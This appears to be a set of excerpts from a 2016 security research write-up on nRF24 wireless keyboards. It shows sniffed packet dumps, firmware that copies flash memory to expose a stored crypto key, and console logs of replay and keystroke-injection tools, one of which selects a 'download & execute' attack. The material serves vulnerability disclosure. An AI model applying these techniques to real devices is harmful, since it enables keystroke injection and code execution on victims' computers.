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$ cat /tmp/fifo | ./nrf24-decoder -d 1 

nrf24-decoder, decode NRF24L01+ v0.1 

 

Address: 0xAD2D54CB8B length:11, pid:0, no_ack:1, CRC:0xAAB9 data:D149491545452AAA248925 

Address: 0xAB5554B46B length:29, pid:1, no_ack:0, CRC:0xDFA5 

data:D55AD4B55A956A554BDCDD6D5A956554ACAD55ACAD4AACA9555DF5F7D9 

Address: 0x6BB7E29E31 length:16, pid:0, no_ack:0, CRC:0x2D58 data:0294EF5368E70FB11AB685B818819388 

Address: 0x6BB7E29E31 length:16, pid:0, no_ack:0, CRC:0x2D58 data:0294EF5368E70FB11AB685B818819388 

Address: 0x6BB7E29E31 length:16, pid:0, no_ack:0, CRC:0x2D58 data:0294EF5368E70FB11AB685B818819388 

(...) 

Address: 0x5535D0A4B5 length:21, pid:1, no_ack:1, CRC:0x38C9 

data:32C4B1A925A4D7252EACB29AC7354AC6C9425A552B 

Address: 0x6BB7E29E31 length:16, pid:0, no_ack:0, CRC:0x2D58 data:0294EF5368E70FB11AB685B818819388 

Address: 0x6BB7E29E31 length:16, pid:0, no_ack:0, CRC:0x2D58 data:0294EF5368E70FB11AB685B818819388 

Address: 0x6BB7E29E31 length:16, pid:0, no_ack:0, CRC:0x2D58 data:0294EF5368E70FB11AB685B818819388 

(...) 
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/* Really simple memory copy firmware */ 

 

#include <Nordic\reg24le1.h> 

#include <hal_flash.h> 

 

#define LENGTH    512 

 

// data buffer 

static uint8_t xdata buffer[LENGTH]; 

 

// Main routine 

void main() 

{ 

    uint16_t src_addr = 0xFA00; // start of extended endurance data in NV memory 

    uint16_t dest_addr = 0xFC00; // start of normal endurance data in NV memory 

    uint16_t len = LENGTH; 

  

    // erase normal endurance memory pages (34 and 35) 

    hal_flash_page_erase(34); 

    hal_flash_page_erase(35); 

  

    // read extended endurance data memory from 0xFA00 to buffer 

    hal_flash_bytes_read(src_addr, buffer, len); 

 

    // write buffer to to SPI-addressable NVM (normal endurance memory) 

    hal_flash_bytes_write(dest_addr, buffer, len); 

  

    // wait forever 

    while(1) {} 

} 
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00007430: 0000 0000 0000 0000 0000 3cdd 9cc7 db74  

00007440: 675a c0b2 9796 a55b 913c 0000 0000 0000 

00007450: 0000 0000 0000 0000 0000 0000 0000 0000 

00000000: aa32 1d98 5ef9 3cdd 9cc7 db74 675a c0b2  

00000010: 9796 a55b 913c ffff ffff ffff ffff ffff  

00000020: ffff ffff ffff ffff ffff ffff ffff ffff 
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# python simple_replay.py -c 25 

        _____  ______ ___  _  _     _____  _                      _   

       |  __ \|  ____|__ \| || |   |  __ \| |                    | |      

  _ __ | |__) | |__     ) | || |_  | |__) | | __ _ _   _ ___  ___| |_        

 | '_ \|  _  /|  __|   / /|__   _| |  ___/| |/ _` | | | / __|/ _ \ __|     

 | | | | | \ \| |     / /_   | |   | |    | | (_| | |_| \__ \  __/ |_    

 |_| |_|_|  \_\_|    |____|  |_|   |_|    |_|\__,_|\__, |___/\___|\__| 

                                                    __/ |              

                                                   |___/               

Simple Replay Tool v0.2 by Matthias Deeg - SySS GmbH (c) 2016 

[*] Configure nRF24 radio 

[*] Scanning for wireless keyboard ... 

[+] Received data: 083816010100f32a 

[+] Found nRF24 device with address A9:A9:8F:EB:CD on channel 25 

[?] Attack this device (y/n)? y 

[*] Start recording (<CTRL+C> to stop recording) 

[+] Received data: 09981601dea2f3157ec032fcfa34ce70dee330c9 

[+] Received data: 09981601dea2f3157ec032fcfa34ce70dee330c9 

(…) 

^C 

[*] Stop recording 

[*] Press <ENTER> to replay the recorded data packets or <CTRL+C> to quit ... 

[+] Send data: 09981601dea2f3157ec032fcfa34ce70dee330c9 

[+] Send data: 09981601dea2f3157ec032fcfa34ce70dee330c9 

(…) 
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# python keystroke_injector.py -c 6 11 28 32 39 65 75 80 -d perixx 

        _____  ______ ___  _  _     _____  _                      _   

       |  __ \|  ____|__ \| || |   |  __ \| |                    | |      

  _ __ | |__) | |__     ) | || |_  | |__) | | __ _ _   _ ___  ___| |_        

 | '_ \|  _  /|  __|   / /|__   _| |  ___/| |/ _` | | | / __|/ _ \ __|     

 | | | | | \ \| |     / /_   | |   | |    | | (_| | |_| \__ \  __/ |_    

 |_| |_|_|  \_\_|    |____|  |_|   |_|    |_|\__,_|\__, |___/\___|\__| 

                                                    __/ |              

                                                   |___/               

Keystroke Injector v0.7 by Matthias Deeg - SySS GmbH (c) 2016 

[*] Configure nRF24 radio 

[*] Set keyboard: Perixx 

[*] Scanning for wireless keyboard ... 

[+] Found nRF24 device with address 15:25:D8:AB:23 on channel 65 

[?] Attack this device (y/n)? y 

[*] Search for crypto key (actually a key release packet) ... 

[+] Found crypto key 

[*] Please choose your attack vector (0 to quit) 

    1) Open calc.exe 

    2) Open cmd.exe 

    3) Classic download & execute attack 

    0) Exit 

[?] Select keystroke injection attack: 3 

[*] Start keystroke injection ... 

[*] Done. 
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 * @brief Example implementation for encrypting/decrypting data 

 * 

 * The encryption is based on AES counter mode (CTR) where a 128 bit hybrid counter 

 * is used for encryption/decryption. The counter is split in two, 11 bytes as MS11B 

 * and 5 bytes as LS5B. The LS5B part is not secret and tells the receiver how 

 * to decrypt an encrypted message. 

 

 * Note that the security of the link will not be reduced as a consequence of sending 

 * the counter value in plain text as long as the following criteria are met: 

 * 

 * - Cipher key used for encryption/decryption must be kept secret. 

 * - The plain text counter (LS5B) must be modified for each transfer. 

 

 * The library can be used on both nRF24LU1 and nRF24LE1 devices, but the implementation 

 * is slightly different between these. In the nRF24LE1 implementation the LS5B is not 

 * a counter, but random values generated by the embedded random number generator. 

 * The reason for this is that the counter value would have to be stored in data memory 

 * in between each packet, which is not possible when residing in "deep sleep" power save 

 * mode. 

 

 





void lib_crypt_generate_ls5b(uint8_t * dest_buf) 

{  

  uint8_t i;  

  hal_rng_power_up(true); 

 

  for(i=0;i<5;i++) 

    {  

    while(!hal_rng_data_ready()) 

    {}   

    dest_buf[i] = hal_rng_read(); 

    }  

   

  hal_rng_power_up(false); 

} 
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